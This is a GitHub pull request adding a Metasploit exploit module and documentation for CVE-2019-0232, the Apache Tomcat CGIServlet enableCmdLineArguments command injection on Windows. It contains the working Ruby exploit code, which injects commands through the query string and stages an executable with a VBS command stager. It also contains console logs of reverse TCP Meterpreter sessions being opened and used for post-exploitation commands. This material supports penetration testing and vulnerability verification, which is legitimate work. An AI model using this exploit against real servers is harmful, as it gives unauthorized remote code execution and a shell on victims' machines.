Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability #11990

Merged
merged 6 commits into from
Jul 1, 2019
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
102 changes: 102 additions & 0 deletions documentation/modules/exploit/windows/http/tomcat_cgi_cmdlineargs.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
## Description

This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the enableCmdLineArguments setting is set to true, a remote user can abuse this to execute system commands, and gain remote code execution.

## Vulnerable Application

The following versions of Apache Tomcat on Windows are effected:

* 9.0.0.M1 to 9.0.17
* 8.5.0 to 8.5.39
* 7.0.0 to 7.0.93

Also, the machine needs to enable the enableCmdLineArguments option in web.xml. For example:
Copy link
Contributor

@h00die h00die Jun 21, 2019

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

conf\web.xml (i like to wrap file names and paths in ticks)


```xml
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
```

Also:

```xml
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
```

wchen-r7 marked this conversation as resolved.
Show resolved Hide resolved
Finally, a script needs to be available in the webapps\ROOT\WEB-INF\cgi directory. For example:
wchen-r7 marked this conversation as resolved.
Show resolved Hide resolved

```
@echo off
echo Content-Type: text/plain
echo.
echo Hello, World!
```

## Verification Steps

1. Start msfconsole
2. Do: `use windows/http/tomcat_cgi_cmdlineargs`
wchen-r7 marked this conversation as resolved.
Show resolved Hide resolved
3. Configure rhosts
4. Configure TARGETURI
5. Set a payload
6. Run the module, you should get a session.

## Scenarios

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

### Apache Tomcat 9.0.17 with JDK 8 on Windows 10 Pro (x64)

### Check Method
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

add an extra #


The check method of the exploit explicitly triggers the bug to verify the vulnerable, therefore it should be accurate. To use it, here is an example:

```
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > check
[+] 172.16.135.141:8080 - The target is vulnerable.
```

### Code Execution
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add an extra #


wchen-r7 marked this conversation as resolved.
Show resolved Hide resolved
```
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit

[*] Started reverse TCP handler on 172.16.135.1:4444
[*] Checking if 172.16.135.141 is vulnerable
[*] 172.16.135.141 seems vulnerable, what a good day.
[*] Command Stager progress - 6.95% done (6999/100668 bytes)
[*] Command Stager progress - 13.91% done (13998/100668 bytes)
[*] Command Stager progress - 20.86% done (20997/100668 bytes)
[*] Command Stager progress - 27.81% done (27996/100668 bytes)
[*] Command Stager progress - 34.76% done (34995/100668 bytes)
[*] Command Stager progress - 41.72% done (41994/100668 bytes)
[*] Command Stager progress - 48.67% done (48993/100668 bytes)
[*] Command Stager progress - 55.62% done (55992/100668 bytes)
[*] Command Stager progress - 62.57% done (62991/100668 bytes)
[*] Command Stager progress - 69.53% done (69990/100668 bytes)
[*] Command Stager progress - 76.48% done (76989/100668 bytes)
[*] Command Stager progress - 83.43% done (83988/100668 bytes)
[*] Command Stager progress - 90.38% done (90987/100668 bytes)
[*] Command Stager progress - 97.34% done (97986/100668 bytes)
[*] Sending stage (179779 bytes) to 172.16.135.141
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.141:51982) at 2019-06-18 15:26:54 -0500
[*] Command Stager progress - 100.02% done (100692/100668 bytes)

meterpreter >
[!] Make sure to manually cleanup the exe enerated by the exploit
```

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Tomcat 8.5.20 with JDK 1.8.0_211-b12 on Windows 2012 (Build 9200)

msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > check
[+] 2.2.2.2:8080 - The target is vulnerable.
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > run

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Checking if 2.2.2.2 is vulnerable
[*] 2.2.2.2 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (179779 bytes) to 2.2.2.2
[*] Command Stager progress - 100.02% done (100692/100668 bytes)
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49612) at 2019-06-24 20:44:45 -0400

meterpreter > 
[!] Make sure to manually cleanup the exe generated by the exploit
dir
Listing: C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\webapps\ROOT\WEB-INF\cgi
=====================================================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   0      dir   2019-06-24 20:44:19 -0400  %SystemDrive%
100777/rwxrwxrwx  73802  fil   2019-06-24 20:44:19 -0400  dKASF.exe
100777/rwxrwxrwx  67     fil   2019-06-20 21:52:49 -0400  example.bat
100777/rwxrwxrwx  69     fil   2019-06-24 15:15:13 -0400  test.bat

meterpreter > sysinfo
Computer        : WIN-EDKFSE5QPAB
OS              : Windows 2012 (Build 9200).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > getuid
Server username: WIN-EDKFSE5QPAB\Administrator
meterpreter > shell
Process 3256 created.
Channel 1 created.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\webapps\ROOT\WEB-INF\cgi>cd ..\..\..\..\bin
cd ..\..\..\..\bin

C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin>catalina.bat version
catalina.bat version
Using CATALINA_BASE:   "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20"
Using CATALINA_HOME:   "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20"
Using CATALINA_TMPDIR: "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\temp"
Using JRE_HOME:        "C:\Program Files\Java\jdk1.8.0_211"
Using CLASSPATH:       "C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin\bootstrap.jar;C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin\tomcat-juli.jar"
Server version: Apache Tomcat/8.5.20
Server built:   Aug 2 2017 21:35:49 UTC
Server number:  8.5.20.0
OS Name:        Windows Server 2012
OS Version:     6.2
Architecture:   amd64
JVM Version:    1.8.0_211-b12
JVM Vendor:     Oracle Corporation

C:\Users\Administrator\Desktop\apache-tomcat-8.5.20\bin>

122 changes: 122 additions & 0 deletions modules/exploits/windows/http/tomcat_cgi_cmdlineargs.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info={})
super(update_info(info,
'Name' => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the
enableCmdLineArguments setting is set to true, a remote user can abuse this to execute
system commands, and gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yakov Shafranovich', # Original discovery
'sinn3r' # Metasploit module
],
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Apache Tomcat 9.0 or prior for Windows', { } ]
],
'References' =>
[
['CVE', '2019-0232'],
['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'],
['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/']
],
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'CmdStagerFlavor' => 'vbs',
'DefaultOptions' =>
{
'RPORT' => 8080
},
'Privileged' => false,
'DisclosureDate' => 'Apr 10 2019', # Date of public advisory issued by the vendor
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/'])
])

deregister_options('SRVHOST', 'SRVPORT', 'URIPATH')
end

def check
sig = Rex::Text.rand_text_alpha(10)
uri = normalize_uri(target_uri.path)
uri << "?&echo+#{sig}"
wchen-r7 marked this conversation as resolved.
Show resolved Hide resolved

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res
vprint_error('No Response from server')
return CheckCode::Unknown
end

if res.body.include?(sig)
return CheckCode::Vulnerable
end

CheckCode::Safe
end

def execute_command(cmd, opts={})
# Our command stager assumes we have access to environment variables.
# We don't necessarily have that, so we have to modify cscript to a full path.
cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe')

uri = normalize_uri(target_uri.path)
uri << "?&#{CGI.escape(cmd)}"
wchen-r7 marked this conversation as resolved.
Show resolved Hide resolved

res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

unless res
fail_with(Failure::Unreachable, 'No response from server')
end

unless res.code == 200
fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
end
end

# it seems we don't really have a way to retrieve the filenames from the VBS command stager,
# so we need to rely on the user to cleanup the files.
def on_new_session(cli)
print_warning('Make sure to manually cleanup the exe enerated by the exploit')
wchen-r7 marked this conversation as resolved.
Show resolved Hide resolved
super
end

def exploit
print_status("Checking if #{rhost} is vulnerable")
if check == CheckCode::Vulnerable
wchen-r7 marked this conversation as resolved.
Show resolved Hide resolved
print_status("#{rhost} seems vulnerable, what a good day.")
execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000)
else
print_error("#{rhost} is either not vulnerable or offline.")
end
end
end